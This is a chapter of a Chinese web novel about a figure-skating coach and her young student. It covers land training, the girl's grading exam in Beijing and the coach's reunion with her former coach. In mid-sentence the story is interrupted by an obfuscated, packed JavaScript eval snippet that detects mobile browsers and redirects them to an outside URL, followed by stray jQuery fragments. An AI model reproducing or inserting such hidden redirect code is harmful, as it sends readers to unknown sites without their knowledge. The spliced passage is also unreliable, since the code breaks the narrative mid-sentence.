“咚——”


    房间的另一头响起重物落下的声音，杨依雁正模仿着lo跳的方式从40公分的箱子上往下跳，在落地的一瞬间大腿肌肉绷紧。


    一组3lo只是今天陆地训练的开头，最重要的还是把F和lz的刃给掰回来，不然后面会越来越麻烦。


    “小雁，你是没崴过脚吗？跳勾手的时候把刃往外压，你一个大平刃上去是想把冰碴子铲飞进裁判眼里，让他们看不到你的错刃吗？”


    夏月姿一边上脚演示，一边严厉训斥。


    杨依雁苦着脸，声音弱了下去：“我压不住。”


    “那你内点怎么能调整过来压住了？”


    “内点跳得顺啊，一个转身就进去了，而且我很多步法也是内刃为主。”


    起跳和压刃都需要肌肉，但更多的还是看运动员的个人习惯。


    夏月姿被怼得无话可说。


    “行，你下来，我们做冰下空转。”


    杨依雁应声一前一后地抬起手臂，跟自己的躯体形成九十度角，然后向左起跳。


    冰下空转一般会进行双向练习，可以帮助运动员更好地保持平衡，还能防止一边身体肌肉过多造成脊柱侧弯。


    她现在可以在地上转三周半，但作为调整训练，圈数可以适当往下降。


    夏月姿看着用三周跳不断调整起跳的小姑娘，不禁有些郁闷。


    杨依雁已经12岁了，而且生日正好卡在六月份，按照国际滑联的年龄要求，下个赛季她就可以去比青年组了。


    上届世青张梦倚排名第九，国家排名第五，分到了两个世青赛名额和七个青年组大奖赛分站赛名额，但她伤了腿，这届世青的参赛名单就不会把她考虑在内。


    要是遇上两个人都没进自由滑的极端情况，下赛季的名额只会抢得更激烈。


    以夏月姿对花滑领导层的了解，要是那个时候青年组还没有冒出头的女单，让张梦倚青年组成年组双线作战也不是没可能，那杨依雁想上国际赛场就更难了。


    不管是出成绩还是出难度，女单最好的时期就是青年组的这段时间，后面就会面临发育关。


    夏月姿觉得脑袋更疼了。


    大部分的女单都是在发育关之前出更高的难度，然后在发育关后捡回来，很少有女单在发育后还能再出新难度，就算有，也是力量型。


    总不能盼着在杨依雁一个转速流的身上出现这种奇迹吧，人家光是过发育关就很难了，而且马上到了开学季，小姑娘上冰时间会跟着缩短，还有新节目的磨合也需要时间，想要达到预期目标，就得把时间花在刀刃上。


    至少得在下赛季开始前，把五种三周练齐，这样才能在赛场上有一定的竞争力。


    食堂里，夏月姿依旧一手拿着装满的餐盘，一手拿着普通份量的餐盘回到座位上，看着眼前脸上有了些肉的小姑娘，没忍住嘱咐道：“马上开学了，在外饮食还是要注意些。”


    杨依雁咽下口中的食物，说道：“我知道的，我在学校的午餐都是我家阿姨根据要求做好了送来的。”


    能送孩子学习花滑的家庭经济情况都不会差，夏月姿说：“好，后续训练时间我会跟你父母商量，在学校好好学习，别想那么多。”


    杨依雁乖巧地点点头，都一一应下。


    ………………


    十月份，北京体育中心。


    “小雁，快点。”


    “来了。”杨依雁闷闷应了一声，跟在提着冰鞋包的教练身后。


    每年花滑考级的地点都不一样，不少运动员家庭都在吐槽考级还得全国各地跑，而这次考级的第五站恰好就是北京。


    考级成绩过不了几天就能查到，杨依雁顺利通过了自由滑七级和步法十级，确定她体能跟得上后，追考了第五站的自由滑考级。


    这段时间内，杨依雁掌握了3T、3S和3lo三种单跳，lz用刃的正确率也达到了七成以上。


    “我们先去报道，妈妈已经在体育馆等着了。”


    杨依雁的父亲从事外贸工作，常年待在国外。母亲是设计专业的出身，开了家手工服装店当老板娘，还创造了自己的服装品牌，不仅有时间陪着女儿训练，还包揽了考斯滕的制作。


    进入后台，夏月姿带着杨依雁做热身训练，杨母在一旁静静地看着。


    那是个典雅知性的女性，头发半卷，用发圈低束起来，眼尾上翘，笑起来让人觉得和善，又带着点疏离感，穿着宽大的风衣，里面是衬衫内搭，手臂上挎着一个小包，似乎还喷了香水，靠近时有些淡淡的清香。


    夏月姿跟杨母见面的次数屈指可数，大多都是手机交流，字里行间也能看出她对女儿的关注。


    第五站的报名人数不多，护栏旁站着教练、家长和其他选手。


    排杨依雁前面的是一个男孩，跳2A时收紧不够好，直接摔了。


    小孩先是抬头看向挡板另一头，随后颤颤巍巍地站起来继续滑，滑行和节拍已经合不上了，更别提收尾的蹲转，慢到她都以为要倒了。


    夏月姿看得眼皮直跳，一个摔倒直接把这孩子心态弄崩了。


    她刚想安抚自家孩子几句，一转头，就看到小姑娘站在杨母身后低头捶打大腿肌肉，根本没看到刚才那一幕。


    夏月姿又默默把话咽了回去。


    杨依雁上场时，入口处旁边就是刚刚在冰上摔倒的男孩，此刻正双目含泪，旁边满脸黑线的男人应该是他的教练。


    这一幕夏月姿不要太熟悉，小时候她也是被这么骂过来的。


    想到这，她拍了拍已经站在冰上的杨依雁，叮嘱道：“别紧张，按照之前那样滑。”


    杨依雁反手握住夏月姿的手，示意自己没事，随后抿着唇转头望向冰场中心。


    夏月姿看着逐渐滑远的姑娘，往后退了几步，站在杨母身边。杨母双手握着包，眼睛紧紧跟着场上的人。


    杨依雁穿着黑色训练服，站在冰场中间深呼吸，一手放在胸前轻轻拍着。


    她偏过头往挡板旁瞥了一眼，随后垂下吐出一口气，左腿跪在冰上做好准备姿势。


    悠扬的小提琴曲回荡在空旷的冰场上，杨依雁缓缓起身，配合手部动作向后滑出，在临近裁判席时右腿抬起，以背对裁判的方式起跳，完成了一个2A。


    杨依雁借着滑出做了一个小跳，随后抬起右手在冰上转了几圈，以捻转步的姿态进入考核的第一个旋转。


    左腿向后抬起，与少女的身体几乎齐平，双手张开，呈现出一个燕式姿态，接着右手向后去拉小腿，左手往下伸搭在右腿旁，变成了一种甜甜圈的形态。


    之后身体舒展，换足抱腿蹲下一气呵成，转够圈数后又将左腿往上拉，右腿微曲，形成一个“Y”型。


    站在夏月姿旁边的教练没忍住发出一声惊叹：“这姑娘转速真快，看着还挺小只。”


    “是啊，就是难度储备不怎么样。”另一个教练迅速接话。


    花滑在国内属于小众运动，圈子也小，各省的运动员和教练之间都有联系，哪个队里有几个好苗子根本藏不住，消息传得又快又准确。


    夏月姿无暇理会那群教练，目光依旧聚集在冰场上。


    小提琴的声音逐渐变得激昂，杨依雁左脚点冰，身体迅速收紧，落冰时在冰上滑出了一道明


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621608|172271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    显的弧线。


    看见3T落冰，夏月姿心才算稍稍落地，她还怕小姑娘上场紧张，影响了跳跃。


    在一组换足蹲转结束后，杨依雁双腿交叉，身体腾空，完成了一个2lo，在落冰的一瞬间再度收紧身体，接了一个2lo。


    lo跳属于刃跳，很难借力，只能凭借腰部力量拔高，这也让很多人觉得lo跳比lz跳还难。


    杨依雁不属于这部分人，她的2lo比2T出来得更早，因此受到王灿的关注，被收进北京队，但也到此为止了。


    因为更高难度的2F和2lz经过很长的一段时间才出生，还带着“难产”的后遗症，比如歪轴、错刃。


    再加上八级考核并没有规定具体的二二连跳，夏月姿才为她量身打磨出这套配置。


    在音乐变得舒缓的那一刻，杨依雁双手拉起冰刀越过头顶，将贝尔曼旋转作为最后一个动作。


    杨依雁考核结束后，场外响起了掌声，杨母已经迫不及待地冲到入口处，给了刚下冰场的女儿一个拥抱。


    夏月姿把刀套递给杨依雁，拿出早已准备好的毛巾，摸着她的脑袋，嘴角微微扬起：“做得很好，辛苦了。”


    杨依雁因旋转缺氧而涨红的脸染上了喜悦，在改刃的这段时间里她没少挨批，现在听到了教练的夸奖，立刻骄傲地扬起脑袋。


    杨母一只手搭在女儿的肩膀上，脸上带着欣喜和慈爱的笑容：“是夏教练教得好，我们家小雁还请您多费心。”


    见三人准备往后台走，一位教练出声叫住了夏月姿，她偏过头，发现又是个老熟人。


    “宋教练，好久不见啊。”


    宋桥是黑龙江省队主教练，不仅是原主的教练，也是夏月姿前世去东三省外训的教练。


    杨母见到这种状况，跟两人打了个招呼带着杨依雁先离开了。


    “我一开始还担心你能不能适应当教练，现在看来，是我多虑了。”


    他往杨依雁离开的放向看了一眼，随后欣慰地看向夏月姿。刚刚小姑娘的表现他都看在眼里，不管哪个方面都挑不出差错，动作和音乐也都合拍。


    夏月姿下意识地避开宋桥的目光，微微低着头：“哪儿啊，那孩子可皮了。”


    “这样吗，我还以为徒弟像师父，你带的孩子应该也挺乖的。”


    闻言，夏月姿心底生出一股异样的情绪，她觉得自己眼眶有些热：“您别打趣我了。”


    原主性格腼腆，如果不开口的话，说她是个南方人都有人信，但夏月姿是个皮猴子，在东三省体校集训的时候，没少给宋桥惹麻烦。


    似乎是为了缓和气氛，宋桥语气变得轻快：“行，你来北京的时间也不短了，什么时候回来看看？你妈也挺想你的。”


    原主的父亲早逝，母亲家里有间中医理疗馆，是原主外公退休后在家附近开的。原主入选黑龙江省队后，母亲也跟着进了省队，以中医理疗师的身份，只是为了离原主近一点。


    即使没有这段记忆，夏月姿也不难看出原主的家庭关系很好。这段时间里，她已经接到了很多来自她亲人的消息和电话，夏月姿每次也只能打哈哈混过去。


    “今年全锦不是在齐齐哈尔吗，正好回去看看。”


    夏月姿有些回避这个话题，可也知道自己不可能躲得掉。


    宋桥没发现夏月姿的异样，还想开口说什么就被她打断了：“宋教练，有人找你。”


    他回头看去，一个大约七八岁的男孩，手上提着冰鞋包，站在后台入口旁边，望向宋桥。


    夏月姿朝宋桥挥手，率先告别。


    “那我先走了，我们全锦见。”